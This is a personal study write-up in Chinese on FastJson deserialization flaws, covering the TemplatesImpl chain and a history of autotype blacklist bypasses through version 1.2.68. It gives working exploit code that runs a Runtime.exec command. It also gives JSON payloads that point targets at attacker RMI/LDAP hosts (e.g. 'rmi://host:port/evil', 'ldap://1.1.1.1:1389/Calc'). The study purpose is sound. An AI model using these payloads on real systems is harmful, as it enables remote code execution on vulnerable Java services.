FastJson反序列化总结

FastJson反序列化总结

摘要:个人学习笔记,记录简略,仅供参考。

0x01 FastJson基本使用与前提知识

FastJson是一款用于对Java对象进行Json格式的序列化/反序列化的第三方库,使用方便。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
// 测试用User类
public class User {

private int age;
private String fullName;

public int getAge() {
System.out.println("invoking getAge");
return age;
}

public void setAge(int age) {
System.out.println("invoking setAge");
this.age = age;
}

public String getFullName() {
System.out.println("invoking getFullName");
return fullName;
}

public void setFullName(String fullName) {
System.out.println("invoking setFullName");
this.fullName = fullName;
}

public User(){
System.out.println("invoking Constructor");
}

public User(int age, String fullName) {
super();
this.age = age;
this.fullName= fullName;

}
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
// FastJson测试类
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.JSONObject;
import com.alibaba.fastjson.serializer.SerializerFeature;

public class FirstFastjsonDemo {

public static void main(String[] args) {
User aUser = new User(11, "hn13");

System.out.println("Serialization");
String aUserJ1 = JSON.toJSONString(aUser);
String aUserJ2 = JSON.toJSONString(aUser, SerializerFeature.WriteClassName);
System.out.println(aUserJ1);
System.out.println(aUserJ2);
/*
*{"age":11,"fullName":"hn13"}
*{"@type":"com.hn13.fastjson.User","age":11,"fullName":"hn13"}
*/

System.out.println("Deserialization");
Object bUser1 = JSON.parse(aUserJ1);
JSONObject bUser2 = JSON.parseObject(aUserJ1);
User bUser3 = JSON.parseObject(aUserJ1, User.class); // 要求有一个无参构造器,会调用setter方法

}
}

需要知道以下几点:

  • 序列化时增加SerializerFeature.WriteClassName会是的序列化的数据多一个@type属性
  • FastJson提供一个名为autotype的功能,允许用户在反序列化数据中通过@type指定反序列化的Class。至于为什么要有autotype,可参看这篇issue
  • 序列化时FastJson会调用getter方法,private属性且没有getter方法的成员不会被序列化
  • 反序列化时,指定了对象的parseObject方法会调用public修饰的setter方法以及构造器
  • 反序列化时,Fastjson默认只会反序列化public修饰的属性,需要反序列化private修饰的属性时需要加入Feature.SupportNonPublicField选项
  • 反序列化时如果getter方法满足以下条件,parseObject会调用该getter方法:
    • 方法名长度大于等于4,且以get开头且第4个字母为大写
    • 非静态方法
    • 无传入参数
    • 返回值类型继承自Collection Map AtomicBoolean AtomicInteger AtomicLong

FastJson的漏洞原理:autotype在处理json对象的时候,未对@type字段进行安全验证,攻击者可以传入危险类,并调用危险类连接远程rmi主机或通过其中的恶意类执行代码。

0x02 利用链

TemplateImp链

适用于: FastJason 1.2.22-1.2.24

这条利用链其实可以单独来看,有如下Demo:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.Feature;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import javassist.ClassClassPath;
import javassist.ClassPool;
import javassist.CtClass;
import java.util.Base64;

public class TemplateDemo {
public static void main(String[] args) {
try{
// Javassist中ClassPool为Class文件的抽象表示
ClassPool pool = ClassPool.getDefault();
// 定义一个名为Evil的public类
CtClass clas = pool.makeClass("Evil");
pool.insertClassPath(new ClassClassPath(AbstractTranslet.class));
String cmd = "Runtime.getRuntime().exec(\"/System/Applications/Calculator.app/Contents/MacOS/Calculator\");";
// makeClassInitializer()在字节码中添加一个静态构造器用以在newInstance()时触发恶意代码,insertBefore在该构造器中加入恶意代码
clas.makeClassInitializer().insertBefore(cmd);
// 恶意类需要继承自AbstractTranslet类
clas.setSuperclass(pool.getCtClass(AbstractTranslet.class.getName()));

byte[] evilCode = clas.toBytecode();
String evilCode_base64 = Base64.getEncoder().encodeToString(evilCode);
final String NASTY_CLASS = "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl";
String text1 = "{"+
"\"@type\":\"" + NASTY_CLASS +"\","+
"\"_bytecodes\":[\""+evilCode_base64+"\"],"+
"'_name':'hn13',"+
"'_tfactory':{ },"+
"'_outputProperties':{ }"+
"}\n";

Object obj = JSON.parseObject(text1, Object.class,Feature.SupportNonPublicField);
}catch (Exception e)
{
e.printStackTrace();
}

}
}

注意text1,构造的各个字段有以下含义:

  • @type为可以进行反序列化漏洞利用的恶意类

  • _bytecodes为恶意类字节码的base64编码,参见上文的注释,该恶意类需要继承自AbstractTransle

  • _name不能为空,可随意设置字符串

  • _tfactory应该为TransformerFactoryImpl对象,因为因为 TemplatesImpl#defineTransletClasses()方法里有调用到_tfactory.getExternalExtensionsMap(),如果是null会出错。但这段代码在这里可以正常弹计算器,这是由于解析这几个参数的时候,如果发现参数值为空对象,就会新建一个该参数应有的格式的对象实例,将其赋值给该参数

  • _outputProperties不影响整个代码的执行,但由于其为java.utilProperties对象而该对象由实现了Map,因此其getter方法TemplatesImpl#getOutputProperties()会被调用从而触发反序列化链,而后会导致恶意类被实例化触发恶意代码,如代码中注释

因为parseObject中需要加入Feature.SupportNonPublicField,利用条件较为苛刻,实战中难以遇见。

JdbcRowSetImpl

影响范围: fastjson <= 1.2.24

RMI利用的JDK版本≤ JDK 6u132、7u122、8u113

LADP利用JDK版本≤ 6u211 、7u201、8u191

不需要设置Feature.SupportNonPublicField

这条链子还是比较简单的,是由于javax.naming.InitialContext#lookup() 参数可控导致的 JNDI 注入。

但是我在本地用了多个版本的符合条件的jdk都没有复现成功,就先不贴代码了。

0x03 FastJson绕过史

1.2.25 <= Fastjson <= 1.2.42

Fastjson1.2.25之后默认关闭autotype,并增加了反序列化黑名单和白名单机制。但是在loadClass方法中存在逻辑漏洞,使得攻击者可以在类名前面和最后分别加上’L’和’;’的类描述符绕过黑名单:

1
2
3
4
5
{
"@type":"Lcom.sun.rowset.JdbcRowSetImpl;",
"dataSourceName":"rmi://host:port/evil",
"autoCommit":true
}

Fastjson == 1.2.42

做出了两项更新:

  • 明文黑名单更新为Hash黑名单(但这遭到了很多安全研究人员的吐槽,因为没啥意义)。

  • 增加了去除开头’L’和结尾’;’的逻辑

但是并没用,可以直接双写绕过

1
2
3
4
5
{
"@type":"LLcom.sun.rowset.JdbcRowSetImpl;;",
"dataSourceName":"rmi://host:port/evil",
"autoCommit":true
}

Fastjson == 1.2.43

  • 对双写绕过做出了限制

但是可以用’[‘进行绕过

1
2
3
4
5
{
"@type":"[com.sun.rowset.JdbcRowSetImpl"[,
{"dataSourceName":"rmi://host:port/evil",
"autoCommit":true
}

这个问题在fastjson1.2.44得到了修复

Fastjson < 1.2.46

利用条件: 需要目标服务端存在mybatis的jar包,且版本需为3.x.x系列<3.5.0的版本。

Payload:

1
2
3
{"@type":"org.apache.ibatis.datasource.jndi.JndiDataSourceFactory",
"properties":{"data_source":"rmi://127.0.0.1:1099/obj"}
}

1.2.46无法执行成功,应该是把该类拉入了黑名单中。

Fastjson == 1.2.47爆出绕过autotype限制的方式

适用于:FastJason 1.2.25-1.2.47

有以下几个要点:

  • checkAutoType方法的检测逻辑:

    1、检测以上所提及的绕过方式,如果存在就爆出异常

    2、如果开启了autotype

    ​ a. 在白名单中搜索需要加载的类,如果白名单中存在就直接加载该类并返回

    ​ b. 白名单中不存在该类,则使用黑名单进行匹配,如果黑名单有匹配并且 TypeUtils.mappings 里没有缓存这个类就抛出异常

    3、第2步都不成立,就尝试在 TypeUtils.mappingsdeserializers中查找缓存的 class,找到了便直接返回(绕过在这步成立)

    4、如果没开启autotype则先匹配黑名单,在匹配白名单,与第2步逻辑一致

    5、再后如果还没找到,就使用TypeUtils.loadClass尝试加载该类

    具体参考的代码如下(为@su18师傅的文章中拿出来的):

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    46
    47
    48
    49
    50
    51
    52
    53
    54
    55
    56
    57
    58
    59
    60
    61
    62
    63
    64
    65
    66
    67
    68
    69
    70
    71
    72
    73
    74
    75
    76
    77
    78
    79
    80
    81
    82
    83
    84
    85
    86
    87
    88
    89
    90
    91
    92
    93
    94
    95
    96
    97
    98
    99
    100
    101
    102
    103
    104
    105
    106
    107
    108
    109
    110
    111
    112
    113
    114
    115
    116
    117
    118
    119
    120
    121
    122
    123
    124
    125
    126
    127
    128
    129
    130
    131
    132
    133
    134
    135
    136
    137
    138
    139
    140
    public Class<?> checkAutoType(String typeName, Class<?> expectClass, int features) {
    // 类名非空判断
    if (typeName == null) {
    return null;
    }
    // 类名长度判断,不大于128不小于3
    if (typeName.length() >= 128 || typeName.length() < 3) {
    throw new JSONException("autoType is not support. " + typeName);
    }

    String className = typeName.replace('$', '.');
    Class<?> clazz = null;

    final long BASIC = 0xcbf29ce484222325L; //;
    final long PRIME = 0x100000001b3L; //L

    final long h1 = (BASIC ^ className.charAt(0)) * PRIME;
    // 类名以 [ 开头抛出异常
    if (h1 == 0xaf64164c86024f1aL) { // [
    throw new JSONException("autoType is not support. " + typeName);
    }
    // 类名以 L 开头以 ; 结尾抛出异常
    if ((h1 ^ className.charAt(className.length() - 1)) * PRIME == 0x9198507b5af98f0L) {
    throw new JSONException("autoType is not support. " + typeName);
    }

    final long h3 = (((((BASIC ^ className.charAt(0))
    * PRIME)
    ^ className.charAt(1))
    * PRIME)
    ^ className.charAt(2))
    * PRIME;
    // autoTypeSupport 为 true 时,先对比 acceptHashCodes 加载白名单项
    if (autoTypeSupport || expectClass != null) {
    long hash = h3;
    for (int i = 3; i < className.length(); ++i) {
    hash ^= className.charAt(i);
    hash *= PRIME;
    if (Arrays.binarySearch(acceptHashCodes, hash) >= 0) {
    clazz = TypeUtils.loadClass(typeName, defaultClassLoader, false);
    if (clazz != null) {
    return clazz;
    }
    }
    // 在对比 denyHashCodes 进行黑名单匹配
    // 如果黑名单有匹配并且 TypeUtils.mappings 里没有缓存这个类
    // 则抛出异常
    if (Arrays.binarySearch(denyHashCodes, hash) >= 0 && TypeUtils.getClassFromMapping(typeName) == null) {
    throw new JSONException("autoType is not support. " + typeName);
    }
    }
    }

    // 尝试在 TypeUtils.mappings 中查找缓存的 class
    if (clazz == null) {
    clazz = TypeUtils.getClassFromMapping(typeName);
    }

    // 尝试在 deserializers 中查找这个类
    if (clazz == null) {
    clazz = deserializers.findClass(typeName);
    }

    // 如果找到了对应的 class,则会进行 return
    if (clazz != null) {
    if (expectClass != null
    && clazz != java.util.HashMap.class
    && !expectClass.isAssignableFrom(clazz)) {
    throw new JSONException("type not match. " + typeName + " -> " + expectClass.getName());
    }

    return clazz;
    }

    // 如果没有开启 AutoTypeSupport ,则先匹配黑名单,在匹配白名单,与之前逻辑一致
    if (!autoTypeSupport) {
    long hash = h3;
    for (int i = 3; i < className.length(); ++i) {
    char c = className.charAt(i);
    hash ^= c;
    hash *= PRIME;

    if (Arrays.binarySearch(denyHashCodes, hash) >= 0) {
    throw new JSONException("autoType is not support. " + typeName);
    }

    if (Arrays.binarySearch(acceptHashCodes, hash) >= 0) {
    if (clazz == null) {
    clazz = TypeUtils.loadClass(typeName, defaultClassLoader, false);
    }

    if (expectClass != null && expectClass.isAssignableFrom(clazz)) {
    throw new JSONException("type not match. " + typeName + " -> " + expectClass.getName());
    }

    return clazz;
    }
    }
    }
    // 如果 class 还为空,则使用 TypeUtils.loadClass 尝试加载这个类
    if (clazz == null) {
    clazz = TypeUtils.loadClass(typeName, defaultClassLoader, false);
    }

    if (clazz != null) {
    if (TypeUtils.getAnnotation(clazz,JSONType.class) != null) {
    return clazz;
    }

    if (ClassLoader.class.isAssignableFrom(clazz) // classloader is danger
    || DataSource.class.isAssignableFrom(clazz) // dataSource can load jdbc driver
    ) {
    throw new JSONException("autoType is not support. " + typeName);
    }

    if (expectClass != null) {
    if (expectClass.isAssignableFrom(clazz)) {
    return clazz;
    } else {
    throw new JSONException("type not match. " + typeName + " -> " + expectClass.getName());
    }
    }

    JavaBeanInfo beanInfo = JavaBeanInfo.build(clazz, clazz, propertyNamingStrategy);
    if (beanInfo.creatorConstructor != null && autoTypeSupport) {
    throw new JSONException("autoType is not support. " + typeName);
    }
    }

    final int mask = Feature.SupportAutoType.mask;
    boolean autoTypeSupport = this.autoTypeSupport
    || (features & mask) != 0
    || (JSON.DEFAULT_PARSER_FEATURE & mask) != 0;

    if (!autoTypeSupport) {
    throw new JSONException("autoType is not support. " + typeName);
    }

    return clazz;
    }
  • 由第一点可知,可以考虑利用中间的第三步将恶意类写入TypeUtils.mapping(这是该绕过的核心点)。其为ConcurrentHashMap对象,其中的loadClass()能向mapping中加入类

  • 接着第二点,可以发现com.alibaba.fastjson.serializer.MiscCodec#deserialize中调用了ConcurrentHashMap#loadClass

  • 第三点中的MiscCodec用于处理Class.class类而该类也是用于绕过的恶意类

  • 第三点中的deserialize方法调用loadClass的逻辑是class为Class.class类时调用

关于该绕过的分析园长-攻击Java Web应用#Fastjson反序列化漏洞@su18师傅写得文章非常的详细和精彩,包括了以上所有的内容以及为什么Class.class可以在一开始绕过checkAutoType方法的检测(简单来说就是deserializer在初始化的时候就加载了该类因此逻辑不会进入到上文的第三步),可以具体参考。

最后有如下payload:

1
2
3
4
5
6
7
8
9
10
11
{
"a": {
"@type": "java.lang.Class",
"val": "com.sun.rowset.JdbcRowSetImpl"
},
"b": {
"@type": "com.sun.rowset.JdbcRowSetImpl",
"dataSourceName": "rmi://host:port/evil",
"autoCommit": true
}
}

修复方式:

在1.2.48中MiscCodec处理Class类的地方设置了cache为false(正是由于mappings这个cahce的存在导致了绕过)。

在1.2.68引入了safemode,打开safemode时@type完全无用,无论白名单和黑名单,都不支持autoType。

Fastjson < 1.2.66

基于黑名单绕过,autoTypeSupport属性为true才能使用,在1.2.25版本之后autoTypeSupport默认为false

1
2
3
4
{"@type":"org.apache.shiro.jndi.JndiObjectFactory","resourceName":"ldap://1.1.1.1:1389/Calc"}
{"@type":"br.com.anteros.dbcp.AnterosDBCPConfig","metricRegistry":"ldap://1.1.1.1:1389/Calc"}
{"@type":"org.apache.ignite.cache.jta.jndi.CacheJndiTmLookup","jndiNames":"ldap://1.1.1.1:1389/Calc"}
{"@type":"com.ibatis.sqlmap.engine.transaction.jta.JtaTransactionConfig","properties": {"@type":"java.util.Properties","UserTransaction":"ldap:/1.1.1.1:1389/Calc"}}

Fastjson <= 1.2.68

ThrowableAutoCloseable利用expectClass绕过checkAutoType

参考链接

https://myzxcg.github.io/2021/10/FastJson-%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E7%BB%95%E8%BF%87%E4%B8%8E%E5%88%A9%E7%94%A8/

https://jishuin.proginn.com/p/763bfbd71615

园长-攻击Java Web应用#Fastjson反序列化漏洞


评论